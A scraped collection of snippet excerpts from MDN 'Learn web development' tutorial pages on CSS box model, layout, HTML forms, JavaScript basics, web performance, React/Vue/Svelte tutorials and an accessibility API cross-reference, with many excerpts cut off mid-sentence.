...rative box: give the box a 5px lightblue border, and round the top left corner 20px and the bottom right corner 40px the heading uses the star.png image as a background image, with a single centered star on the left and a repeating pattern of stars on the right. make sure that the heading text does not overlay the image, and that it is centered — you will need to use techniques learned in p
revious lessons to achieve this. the finished example should look like the image below: try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors above. if you would like your work assessed, or are stuc...
The box model - Learn web development
in this lesson, we will take a proper look at the css box model so that you can build more complex layout tasks with an understanding of how it works and the terminology that relates to it. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn about the css box model, what makes up the box model and how to switch to the alternate model. ...
... before you move on — see test your skills: the box model. summary that's most of what you need to understand about the box model. you may want to return to this lesson in the future if you ever find yourself confused about how big boxes are in your layout. in the next lesson, we will take a look at how backgrounds and borders can be used to make your plain boxes look more interesting. ...
Multiple-column layout - Learn web development
this article explains how to use this feature. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to learn how to create multiple-column layout on webpages, such as you might find in a newspaper. a basic example we will now explore how to use multiple-column layout, often referred to as multicol. you can follow along by downloading the multicol starting point file and adding the css into the appropriate places. at the bottom of the section you can see a live example of what the final code should look like. ...
... adding a rule between columns with column-rule. using your example above, change the size of the gap by adding a column-gap property: .container { column-width: 200px; column-gap: 20px; } you can play around with different values — the property accepts any length unit. now add a rule between the columns, with column-rule. in a similar way to the border property that you encountered in p
revious lessons, column-rule is a shorthand for column-rule-color, column-rule-style, and column-rule-width, and accepts the same values as border. .container { column-count: 3; column-gap: 20px; column-rule: 4px dotted rgb(79, 185, 227); } try adding rules of different styles and colors. styling the columns body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 ari...
Getting started with CSS - Learn web development
prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, and html basics (study introduction to html.) objective: to understand the basics of linking a css document to an html file, and be able to do simple text formatting with css. starting with some html our starting point is an html document. you can copy the code from below if you want to work on your own computer. save the code below as index.html in a folder on your machine. ...
...mber of ways in which you can style a document using css. we will be developing this knowledge as we move through the rest of the lessons. ...
Using your new knowledge - Learn web development
this assessment gives you a chance to do that. prerequisites: before attempting this assessment you should have worked through the rest of the css basics module, and also have an understanding of html basics (study introduction to html). objective: to have a play with some css and test your new-found knowledge. starting point you can work in the live editor below, or you can download the starting point to work with in your own editor. this is a single page with the html, plus the starting point css in the head of the document. ...
...de. a link to the actual task or assessment page, so we can find the question you want help with. what's next? congratulations on finishing this first module. ...
Typesetting a community school homepage - Learn web development
you might just have some fun along the way. prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of css text styling techniques. starting point to get this assessment started, you should: go and grab the html and css files for the exercise, and the provided external link icon. make a copy of them on your local computer. alternatively, you could use a site like jsbin or glitch to do your assessment. ...
... stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). ...
Web fonts - Learn web development
in this article we will go further, exploring web fonts in detail — these allow you to download custom fonts along with your web page, to allow for more varied, custom text styling. prerequisites: basic computer literacy, html basics (study introduction to html), css basics (study introduction to css), css text and font fundamentals. objective: to learn how to apply web fonts to a web page, using either a third party service, or by writing your own code. ...
...e most important information going forward? you can find an assessment to verify that you've retained this information at the end of the module — see typesetting a community school homepage. ...
How much does it cost to do something on the Web? - Learn web development
getting involved on the web isn't as cheap as it looks. in this article we discuss how much you may have to spend, and why. prerequisites: you should already understand what software you need, the difference between a webpage, a website, etc., and what a domain name is. objective:
review the complete process for creating a website and find out how much each step can cost. summary when launching a website, you may spend nothing, or your costs may go through the roof. in this article we discuss how much everything costs, and how you get what you pay (or don't pay). software text editors you likely have a text editor: such as, notepad on windows, gedit on linux, textedit on mac. you'll have an easier time writing code if you choose an editor that col...
...t, go with a simple editor. price does not reliably reflect a text editor's quality or usefulness. you have to try it for yourself and decide if it meets your needs. for example, sublime text is cheap, but comes with many free plugins that can greatly extend its functionality. image editors your system likely includes a simple image editor, or viewer: paint on windows, eye of gnome on ubuntu, p
review on mac. those programs are relatively limited, you'll soon want a more robust editor to add layers, effects, and grouping. editors can be free (gimp, paint.net), moderately expensive (paintshop pro, less than $100), or several hundred dollars (adobe photoshop). you can use any of them, as they will have similar functionality, though some are so comprehensive you'll never use every feature. i...
What are browser developer tools? - Learn web development
the rules applied to the current element are shown in order of most-to-least-specific. click the checkboxes next to each declaration to see what would happen if you removed the declaration. click the little arrow next to each shorthand property to show the property's longhand equivalents. click a property name or value to bring up a text box, where you can key in a new value to get a live p
review of a style change. next to each rule is the file name and line number the rule is defined in. clicking that rule causes the dev tools to jump to show it in its own view, where it can generally be edited and saved. you can also click the closing curly brace of any rule to bring up a text box on a new line, where you can write a completely new declaration for your page. you'll notice a numbe...
... to get to the debugger: firefox: select ➤ web developer ➤ debugger or press ctrl + shift + s to open the javascript debugger. if the tools are already displayed, click on the debugger tab. chrome: open the developer tools and then select the sources tab. (opera works the same way.) edge and internet explorer 11: press f12 and then, ctrl + 3, or if ...
What are hyperlinks? - Learn web development
step back to the very basics of web architecture. back in 1989, tim berners-lee, the web's inventor, spoke of the three pillars on which the web stands: url, an address system that keeps track of web documents http, a transfer protocol to find documents when given their urls html, a document format allowing for embedded hyperlinks as you can see in the three pillars, everything on the web
revolves around documents and how to access them. the web's original purpose was to provide an easy way to reach, read, and navigate through text documents. since then, the web has evolved to provide access to images, videos, and binary data, but these improvements have hardly changed the three pillars. before the web, it was quite hard to access documents and move from one to another. being human-r...
...xt documents. since then, the web has evolved to provide access to images, videos, and binary data, but these improvements have hardly changed the three pillars. before the web, it was quite hard to access documents and move from one to another. being human-readable, urls already made things easier, but it's hard to type a long url whenever you want to access a document. this is where hyperlinks
revolutionized everything. links can correlate any text string with a url, such that the user can instantly reach the target document by activating the link. links stand out from the surrounding text by being underlined and in blue text. tap or click a link to activate it, or if you use a keyboard, press tab until the link is in focus and hit enter or spacebar. links are the breakthrough that mad...
What is a web server? - Learn web development
might fill an html template with content from a database. sites like mdn or wikipedia have thousands of webpages. typically, these kinds of sites are composed of only a few html templates and a giant database, rather than thousands of static html documents. this setup makes it easier to maintain and deliver the content. active learning there is no active learning available yet. deeper dive to
review: to fetch a webpage, your browser sends a request to the web server, which searches for the requested file in its own storage space. upon finding the file, the server reads it, processes it as-needed, and sends it to the browser. let's look at those steps in more detail. hosting files first, a web server has to store the website's files, namely all html documents and their related assets, in...
...b server provides support for http (hypertext transfer protocol). as its name implies, http specifies how to transfer hypertext (linked web documents) between two computers. a protocol is a set of rules for communication between two computers. http is a textual, stateless protocol. textual all commands are plain-text and human-readable. stateless neither the server nor the client remember p
revious communications. for example, relying on http alone, a server can't remember a password you typed or remember your progress on an incomplete transaction. you need an application server for tasks like that. (we'll cover that sort of technology in other articles.) http provides clear rules for how a client and server communicate. we'll cover http itself in a technical article later. for now, j...
Basic native form controls - Learn web development
next we will look at the functionality of the different form controls, or widgets, in detail — studying all the different options available to collect different types of data. in this particular article we will look at the original set of form controls, available in all browsers since the early days of the web. prerequisites: basic computer literacy, and a basic understanding of html. objective: to understand in detail the original set of native form widgets available in browsers for collecting data, and how to implement them using html. ...
...ind some further tests to verify that you've retained this information before you move on — see test your skills: basic controls. summary this article has covered the older input types — the original set introduced in the early days of html that is well supported in all browsers. in the next section, we'll take a look at the newer values of the type attribute that were added in html5. ...
Example 4 - Learn web development
ect, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; function updatevalue(select, index) { var nativewidget = select.p
reviouselementsibling; var value = select.queryselector('.value'); var optionlist = select.queryselectorall('.option'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption(select, optionlist[index]); }; function getindex(select) { var nativewidget = select.p
reviouselementsibling; return nativewidget.selectedindex; }; // ------------- //...
...); }); select.addeventlistener('blur', function (event) { deactivateselect(select); }); }); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'), selectedindex = getindex(select); select.tabindex = 0; select.p
reviouselementsibling.tabindex = -1; updatevalue(select, selectedindex); optionlist.foreach(function (option, index) { option.addeventlistener('click', function (event) { updatevalue(select, index); }); }); select.addeventlistener('keyup', function (event) { var length = optionlist.length, index = getindex(select); if (event.keycode === 2...
Other form controls - Learn web development
prerequisites: basic computer literacy, and a basic understanding of html. objective: to understand the non-<input> form features, and how to implement them using html. multi-line text fields a multi-line text field is specified using a <textarea> element, rather than using the <input> element. ...
...lls: other controls. summary as you'll have seen in the last few articles, there are a lot of different types of available form element. you don't need to remember all of these details at once, and can return to these articles as often as you like to check up on details. now that you have a grasp of the html behind the different available form controls, we'll take a look at styling them. ...
Dealing with files - Learn web development
when you're building a website, you need to assemble these files into a sensible structure on your local computer, make sure they can talk to one another, and get all your content looking right before you eventually upload them to a server. dealing with files discusses some issues you should be aware of so you can set up a sensible file structure for your website. where should your website live on your computer? when you are working on a website locally on your computer, you should keep all the related files in a single folder that mirrors the published website's file structure on the server. ...
...pg. for now, this is about all you need to know. note: the windows file system tends to use backslashes, not forward slashes, e.g. c:\windows. ...
Publishing your website - Learn web development
this article explains how to get your simple sample code online with little effort. what are the options? publishing a website is a complex topic because there are many ways to go about it. this article doesn't attempt to document all the possible methods. instead, it explains the advantages and disadvantages of three approaches that are practical for beginners. then it steps through one method that can work right away for many readers. ...
...tes. try again. to learn more, see github pages help. ...
What will your website look like? - Learn web development
what should your website actually do? a website can do basically anything, but, for your first try, you should keep things simple. we'll start by creating a simple webpage with a heading, an image, and a few paragraphs. ...
...nd one you like. you can also use the controls on the right to further filter the results. click the "plus" (add to) icon next to the font you want. ...
Document and website structure - Learn web development
this article looks into how to plan a basic website structure, and write the html to represent this structure. prerequisites: basic html familiarity, as covered in getting started with html. html text formatting, as covered in html text fundamentals. how hyperlinks work, as covered in creating hyperlinks. objective: learn how to structure your document using semantic tags, and how to work out the structure of a simple website. ...
...ke to be beside the sea</a></li> <li><a href="#">although in the north of england</a></li> <li><a href="#">it never stops raining</a></li> <li><a href="#">oh well...</a></li> </ul> </aside> </main> <!-- and here is our main footer that is used across all the pages of our website --> <footer> <p>©copyright 2050 by nobody. all rights
reversed.</p> </footer> </body> </html> take some time to look over the code and understand it — the comments inside the code should also help you to understand it. we aren't asking you to do much else in this article, because the key to understanding document layout is writing a sound html structure, and then laying it out with css. we'll wait for this until you start to study css layout a...
Structuring a page of content - Learn web development
prerequisites: before attempting this assessment you should have already worked through the rest of the course, with a particular emphasis on document and website structure. objective: to test knowledge of web page structures, and how to represent a prospective layout design in markup. starting point to get this assessment started, you should go and grab the zip file containing all the starting assets. ...
... stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code. ...
Mozilla splash page - Learn web development
objective: to test knowledge around embedding images and video in web pages, frames, and html responsive image techniques. starting point to start off this assessment, you need to grab the html and all the images available in the mdn-splash-page-start directory on github. save the contents of index.html in a file called index.html on your local drive, in a new directory. ...
...s to do — for example what you have already tried, if you are stuck and need help,. a link to the example you want assessed or need help with, in an online editor. ...
Assessment: Structuring planet data - Learn web development
prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of html tables and associated features. starting point to start the assessment, make local copies of blank-template.html, minimal-table.css, and planets-data.txt in a new directory in your local computer. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: alternatively, you could use a site like jsbin or glitch to do your assessment. ...
... stuck and need help, or want an assessment. ...
Image gallery - Learn web development
prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of javascript loops, functions, conditionals, and events. starting point to get this assessment started, you should go and grab the zip file for the example, unzip it somewhere on your computer, and do the exercise locally to begin with. ...
... stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). ...
Test your skills: Loops - Learn web development
number into the paragraph (para) and then exits the loop before it has run its course. you are given three variables to begin with: i — starts off with a value of 0; intended to be used as an iterator. name — contains a name to search for para — contains a reference to a paragraph, which will be used to report the results. you should use a type of loop that you've not used in the p
revious task. download the starting point for this task to work in your own editor or in an online editor. loops 3 in this final task, you are provided with the following: i — starts off with a value of 500; intended to be used as an iterator. para — contains a reference to a paragraph, which will be used to report the results. isprime() — a function that, when passed a number, return...
... to use a loop to go through the numbers 2 to 500 backwards (1 is not counted as a prime number), and run the provided isprime() function on them. for each number that isn't a prime number, continue on to the next loop iteration. for each one that is a prime number, add it to the paragraph's textcontent along with some kind of separator. you should use a type of loop that you've not used in the p
revious two tasks. download the starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors above. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yours...
JavaScript building blocks - Learn web development
e course, but only in passing — here we'll discuss it all explicitly. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites before starting this module, you should have some familiarity with the basics of html and css, and you should have also worked through our p
revious module, javascript first steps. note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides making decisions in your code — conditionals in any programming language, code needs to make decisions and carry out actions acco...
...s a single task inside a defined block, and then call that code whenever you need it using a single short command — rather than having to type out the same code multiple times. in this article we'll explore fundamental concepts behind functions such as basic syntax, how to invoke and define functions, scope, and parameters. build your own function with most of the essential theory dealt with p
reviously, this article provides a practical experience. here you'll get some practice with building up your own custom function. along the way, we'll also explain some further useful details of dealing with functions. function return values the last essential concept you must know about a function is return values. some functions don't return a significant value after completion, but others do. it...
Basic math in JavaScript — numbers and operators - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to gain familiarity with the basics of math in javascript. everybody loves math okay, maybe not. some of us like math, some of us have hated math ever since we had to learn multiplication tables and long division in school, and some of us sit somewhere in between the two. but none of us can deny that math is a fundamental part of life that we can't get very far without. ...
...e comfort in the fact that this chapter was pretty short. in the next article, we'll explore text and how javascript allows us to manipulate it. note: if you do enjoy math and want to read more about how it is implemented in javascript, you can find a lot more detail in mdn's main javascript section. ...
Silly story generator - Learn web development
have fun! prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of javascript fundamentals, such as variables, numbers, operators, strings, and arrays. starting point to get this assessment started, you should: go and grab the html file for the example, save a local copy of it as index.html in a new directory somewhere on your computer, and do the assessment locally to begin with. ...
... stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code. ...
Test your skills: Strings - Learn web development
ld like you to: retrieve the length of the quote, and store it in a variable called quotelength. find the index position where substring appears in quote, and store that value in a variable called index. ...
...store the new quote in a variable called fixedquote. ...
Storing the information you need — Variables - Learn web development
in this article, we will get down to the real basics, looking at how to work with the most basic building blocks of javascript — variables. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to gain familiarity with the basics of javascript variables. tools you need throughout this article, you'll be asked to type in lines of code to test your understanding of the content. ...
...n you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: variables. summary by now you should know a reasonable amount about javascript variables and how to create them. ...
What went wrong? Troubleshooting JavaScript - Learn web development
never fear — this article aims to save you from tearing your hair out over such problems by providing you with some tips on how to find and fix errors in javascript programs. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to gain the ability and confidence to start fixing problems in your own code. ...
...hen you can go back and try to fix your example. at this point, let's consult the developer console to see if it reports any syntax errors, then try to fix them. you'll learn how below. fixing syntax errors earlier on in the course we got you to type some simple javascript commands into the developer tools javascript console (if you can't remember how to open this in your browser, follow the p
revious link to find out how). what's even more useful is that the console gives you error messages whenever a syntax error exists inside the javascript being fed into the browser's javascript engine. now let's go hunting. go to the tab that you've got number-game-errors.html open in, and open your javascript console. you should see an error message along the following lines: this is a pretty ea...
JavaScript First Steps - Learn web development
your first practical experience of writing javascript. after that, we discuss some key building blocks in detail, such as variables, strings, numbers and arrays. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites before starting this module, you don't need any p
revious javascript knowledge, but you should have some familiarity with html and css. you are advised to work through the following modules before starting on javascript: getting started with the web (which includes a really basic javascript introduction). introduction to html. introduction to css. note: if you are working on a computer/tablet/other device where you don't have the ability to ...
...rst splash into javascript now you've learned something about the theory of javascript, and what you can do with it, we are going to give you a crash course in the basic features of javascript via a completely practical tutorial. here you'll build up a simple "guess the number" game, step by step. what went wrong? troubleshooting javascript when you built up the "guess the number" game in the p
revious article, you may have found that it didn't work. never fear — this article aims to save you from tearing your hair out over such problems by providing you with some simple tips on how to find and fix errors in javascript programs. storing the information you need — variables after reading the last couple of articles you should now know what javascript is, what it can do for you, how you...
Adding features to our bouncing balls demo - Learn web development
prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of javascript objects and object-oriented constructs starting point to get this assessment started, make a local copy of index-finished.html, style.css, and main-finished.js from our last article in a new directory in your local computer. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css and javascript into one of these online editors. ...
... stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). ...
Inheritance in JavaScript - Learn web development
in addition, we present some advice on when and where you might use oojs, and look at how classes are dealt with in modern ecmascript syntax. prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks) and oojs basics (see introduction to objects). objective: to understand how it is possible to implement inheritance in javascript. ...
...into either the text input field or your javascript console. then enter it again, replacing teacher with person. nor does the new constructor inherit those methods. to see this, compare the outputs of person.prototype.greeting and teacher.prototype.greeting. we need to get teacher() to inherit the methods defined on person()'s prototype. so how do we do that? add the following line below your p
revious addition: teacher.prototype = object.create(person.prototype); here our friend create() comes to the rescue again. in this case we are using it to create a new object and make it the value of teacher.prototype. the new object has person.prototype as its prototype and will therefore inherit, if and when needed, all the methods available on person.prototype. we need to do one more thing be...
HTML performance features - Learn web development
it is our job, as developers, to ensure that we preserve these two properties when creating or editing html code. complications can occur when, for example, the file size of a <video> embed is too large, or when a webpage is not optimized for mobile devices. this module intends to walk you through the key html performance features that can drastically improve the quality of your webpage. prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. objective: to learn about the impact of html elements and attributes on web performance optimization. ...
...l elements and attributes on web performance optimization. elements & attributes impacting performance the <picture> element the <video> element the <source> element the <img> srcset attribute responsive images preloading content with rel="preload" - (https://w3c.github.io/preload/ ) async / defer attributes <iframe> <object> <script> rel attribute conclusion p
revious overview: performance next in this module the "why" of web performance what is web performance? how do users perceive performance? measuring performance multimedia: images multimedia: video javascript performance best practices. html performance features css performance features fonts and performance mobile performance focusing on performance see also the <picture> ele...
Multimedia: Images - Learn web development
in terms of download performance, eliminating media, and reducing file size is the low-hanging fruit. this article looks at optimizing image and video to improve web performance. prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. objective: to learn about the various image formats, their impact on performance, and how to reduce the impact of images on overall page load time. this is a high-level introduction to optimizing multimedia delivery on the web, covering general principles and techniques. ...
... before the image has downloaded. conclusion in this section we took a look at image optimization. you now have a general understanding of how to optimize half of the average web sites average bandwidth total. this is just one of the types of media consuming users bandwidth and slowing down page load. let's take a look at video optimization, tackling the next 20% of bandwidth consumption. p
revious overview: performance next in this module the "why" of web performance what is web performance? how do users perceive performance? measuring performance multimedia: images multimedia: video javascript performance best practices. html performance features css performance features fonts and performance mobile performance focusing on performance ...
What is web performance? - Learn web development
does the site load quickly, allow the user to start interacting with it quickly, and offer reassuring feedback if something is taking time to load (e.g. a loading spinner)? are scrolling and animations smooth? this article provides a brief introduction to objective, measureable web performance*, looking at what technologies, techniques, and tools are involved in web optimization. prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. objective: to gain basic familiarity of what is involved with web performance. ...
... at understanding latency. conclusion that's it for now; we hope our brief overview of the web performance topic helped you to get an idea of what it is all about, and made you excited to learn more. next up we'll look at perceived performance, and how you can use some clever techniques to make some unavoidable performance hits appear less severe to the user, or disguise them completely. p
revious overview: performance next in this module the "why" of web performance what is web performance? how do users perceive performance? measuring performance multimedia: images multimedia: video javascript performance best practices. html performance features css performance features fonts and performance mobile performance focusing on performance ...
JavaScript performance - Learn web development
this article looks to introduce performance issues caused by scripts and introduces tips and tricks for optimizing javascript for web performance. prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. objective: to learn about the effects of javascript on performance optimization, and how a javascript file size is not the only impact on web performance. similar to images and video, the best way to improve performance is to omit what is not, in fact, necessary. ...
...es like maps and support features. battery impact conclusion while optimizing your media files and scripts will get you very far along in terms of web performance optimization, everything that touches a web pages impacts performance. in the next article we take a look at some html features that can impact performance, including some attributes specifically created to improve performance. p
revious overview: performance next in this module the "why" of web performance what is web performance? how do users perceive performance? measuring performance multimedia: images multimedia: video javascript performance best practices. html performance features css performance features fonts and performance mobile performance focusing on performance ...
Multimedia: video - Learn web development
we have already taken a look at optimizing images. this article looks at optimizing video to improve web performance. prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. objective: to learn about the various video formats, their impact on performance, and how to reduce video impact on overall page load time while serving the smallest video file size based on each browsers file type support. why optimize your multimedia? for the average website, 25% of bandwidth comes from video. ...
...r, ensuring fast video startup, low buffering, and optimized playback. conclusion optimizing video has the potential to significantly improve website performance. video files are relatively large compared to other website files, and always worthy of attention. this article explains how to optimize website video through reducing file size, with (html) download settings, and with streaming. p
revious overview: performance next in this module the "why" of web performance what is web performance? how do users perceive performance? measuring performance multimedia: images multimedia: video javascript performance best practices. html performance features css performance features fonts and performance mobile performance focusing on performance ...
Getting started with Ember - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn how to install ember, and create a starter app. ...
...s: note: on windows systems without windows subsystem for linux (wsl), you will experience slower build-times overall compared to macos, linux, and windows with wsl. summary so far so good. we've got to the point where we can start build up our sample todomvc app in ember. in the next article we'll look at building up the markup structure of our app, as a group of logical components. ...
Introduction to client-side frameworks - Learn web development
essibility, frameworks will amplify your fragility, your bloat, and your inaccessibility. modern developer priorities, amplified by frameworks, have inverted the structure of the web in many places. instead of a robust, content-first network of documents, the web now often puts javascript first and user experience last. accessibility on a framework-driven web let's build on what we said in the p
revious section, and talk a bit more about accessibility. making user interfaces accessible always requires some thought and effort, and frameworks can complicate that process. you often have to employ advanced framework apis to access native browser features like aria live regions or focus management. in some cases, framework applications create accessibility barriers that do not exist for traditio...
... of static site generators, these components are called templates. web pages built by static site generators can even be home to framework applications: if you want one specific page of your statically-generated website to boot up a react application when your user visits it for example, you can do that. static site generators have been around for quite a long time, but they have seen a bit of a
revival in the recent history of the web. a handful of powerful options are now available, such as hugo, jekyll, eleventy, and gatsby. if you'd like to learn more about static site generators on the whole, check out tatiana mac's beginner's guide to eleventy. in the first article of the series, she explains what a static site generator is, and how it relates to other means of publishing web content.
Componentizing our React app - Learn web development
before we can make it do things, we need to break it apart into manageable, descriptive components. react doesn’t have any hard rules for what is and isn’t a component – that’s up to you! in this article we will show you a sensible way to break our app up into components. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. objective: to show a sensible way of breaking our todo list app into components. ...
...list} </ul> </div> ); } export default app; with this in place, we’re almost ready to tackle some interactivity in our react app! summary and that's it for this article — we've gone into some depth on how to break up your app nicely into components, end render them efficiently. now we'll go on to look at how we handle events in react, and start adding some interactivity. ...
React resources - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. objective: to provide further resources for learning more about react. component-level styles although this tutorial doesn't use this approach, many react applications define their styles on a per-component basis, rather than in a single, monolithic stylesheet. create-react-app makes it possible to import css files into javascript modules, so that css is only sent to your user when the corresponding component is rendered. ...
...be trapped in focus limbo, and screen-reader users may have no idea that they have moved to a new page. because reach router is better for accessibility, it's a good place to start. there's one caveat, however: these projects will be merging in the near future. when this merge happens, react router will be the surviving project (with the addition of the focus management features of reach). ...
Beginning our React todo list - Learn web development
this article will walk you through putting the basic app component structure and styling in place, ready for individual component definition and interactivity, which we'll add later. note: if you need to check your code against our version, you can find a finished version of the sample react app code in our todo-react repository. for a running live version, see https://mdn.github.io/todo-react-build/. ...
...color: transparent; opacity: 0; background: transparent; } .c-cb > input[type="checkbox"]:checked + label::after { opacity: 1; } save and look back at your browser, and your app should now have reasonable styling. summary now our todo list app actually looks a bit more like a real app! the problem is: it doesn’t actually do anything. ...
Starting our Svelte Todo list app - Learn web development
in this article we will first have a look at the desired functionality of our app, then we'll create a todos.svelte component and put static markup and styles in place, leaving everything ready to start developing our to-do list app features, which we'll go on to in subsequent articles. we want our users to be able to browse, add and delete tasks, and also to mark them as complete. this will be the basic functionality that we'll be developing in this tutorial series, plus we'll look at some more advanced concepts along the way too. ...
...run npm install && npm run dev to start your app in development mode. repl to see the current state of the code in a repl, visit: https://svelte.dev/repl/c862d964d48d473ca63ab91709a0a5a0?version=3.23.2 summary with our markup and styling in place our todo list app is starting to take shape, and we have everything ready so that we can start to focus on the features we have to implement. ...
Getting started with Svelte - Learn web development
we will see how svelte works and what sets it apart from the rest of the frameworks and tools we've seen so far. then we will learn how to setup our development environment, create a sample app, understand the structure of the project, and see how to run it locally and build it for production. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. ...
...velte components can be used just by importing the corresponding .svelte file. components styles are scoped, keeping them from clashing with each other. in the markup section you can include any javascript expression by putting it between curly braces. the top-level variables of a component constitute its state. reactivity is fired just by assigning a new value to a top level variable. ...
Creating our first Vue component - Learn web development
along the way, we'll learn about a few important concepts such as calling components inside other components, passing data to them via props, and saving data state. note: if you need to check your code against our version, you can find a finished version of the sample vue app code in our todo-vue repository. for a running live version, see https://mdn.github.io/todo-vue/dist/. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. ...
...temporarily adding more <to-do-item></to-do-item> calls into app.vue, and then checking their rendered output with your browser's devtools. now we're ready to add multiple todoitem components to our app. in our next artcle we'll look at adding a set of todo item data to our app.vue component, which we'll then loop through and display inside todoitem components using the v-for directive. ...
Focus management with Vue refs - Learn web development
the last bit of functionality to look at is focus management, or put another way, how we can improve our app's keyboard accessibility. we'll look at using vue refs to handle this — an advanced feature that allows you to have direct access to the underlying dom nodes below the virtual dom, or direct access from one component to the internal dom structure of a child component. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. ...
...! congratulations for working your way through all our vue tutorials. in the next article we'll round things off with some further resources to take your vue learning further. note: if you need to check your code against our version, you can find a finished version of the sample vue app code in our todo-vue repository. for a running live version, see https://mdn.github.io/todo-vue/dist/. ...
Vue resources - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. ...
...ive" properties when using this api. vue handles this for you using the options api. this makes the new api typically considered a more advanced use case. there are also a handful of other changes, including a change in how apps are initialized in vue. to read more about the changes involved with vue 3, refer to this article by vue school which goes over most of the major changes in vue 3. ...
Cross browser testing - Learn web development
strategies (get yourself a range of devices and some virtual machines and do ad-hoc tests when needed), higher tech strategies (automation, using dedicated testing apps), and testing with user groups. handling common html and css problems with the scene set, we'll now look specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to p
revent problems from happening, or fix problems that occur. this includes linting code, handing css prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more. handling common javascript problems now we'll look at common cross-browser javascript problems and how to fix them. this includes information on using...
... ...
Git and GitHub - Learn web development
the most popular vcs (at least among web developers) is git, along with github, a site that provides hosting for your repositories and several tools for working with them. this module aims to teach you what you need to know about both of them. ...
... it merged in a controlled manner (in github we use pull requests) with the master version when they are done with it. vcses provide tools to meet the above needs. git is an example of a vcs, and github is a web site + infrastructure that provides a git server plus a number of really useful tools for working with git repositories individually or in teams, such as reporting issues with the code,
reviewing tools, project management features such as assigning tasks and task statuses, and more. note: git is actually a distributed version control system, meaning that a complete copy of the repository containing the codebase is made on your computer (and everyone else's). you make changes to your own copy, and then push those changes back up to the server, where an administrator will decide whe...
Accessibility API cross-reference
available to javascript as document.activeelement appearance has changed for mouseover hottracked n/a n/a especially used for sliders, scrollbars, toolbars, tablists... n/a horizontal horizontal aria-orientation=horizontal indicates whether the element is exposed to an accessibility api. note the
reversed logic in some apis invisible visible visible aria-hidden hidden (boolean attribute) indicates whether the object is in an iconified or minimized state. minimized n/a iconified iconified can be expressed with aria-expanded marqueed n/a n/a 3rd state in a tri-state checkbox mixed ...
...sed down. aria permits this only with button role pressed pressed pressed aria-pressed=true for passwords protected n/a passwd_text password role slated for aria 2.0 a portion of quoted content which is brief enough to appear 'inline'. (compare with blockquote). n/a <q> <quote> note the
reversed logic in some apis readonly editable editable aria-readonly=true this object can be selected selectable selectable selectable this object is selected selected selected selected aria-selected=true selected (boolean attribute) for a button that is "consistent". the button is inconsist...
Accessible Toolkit Checklist
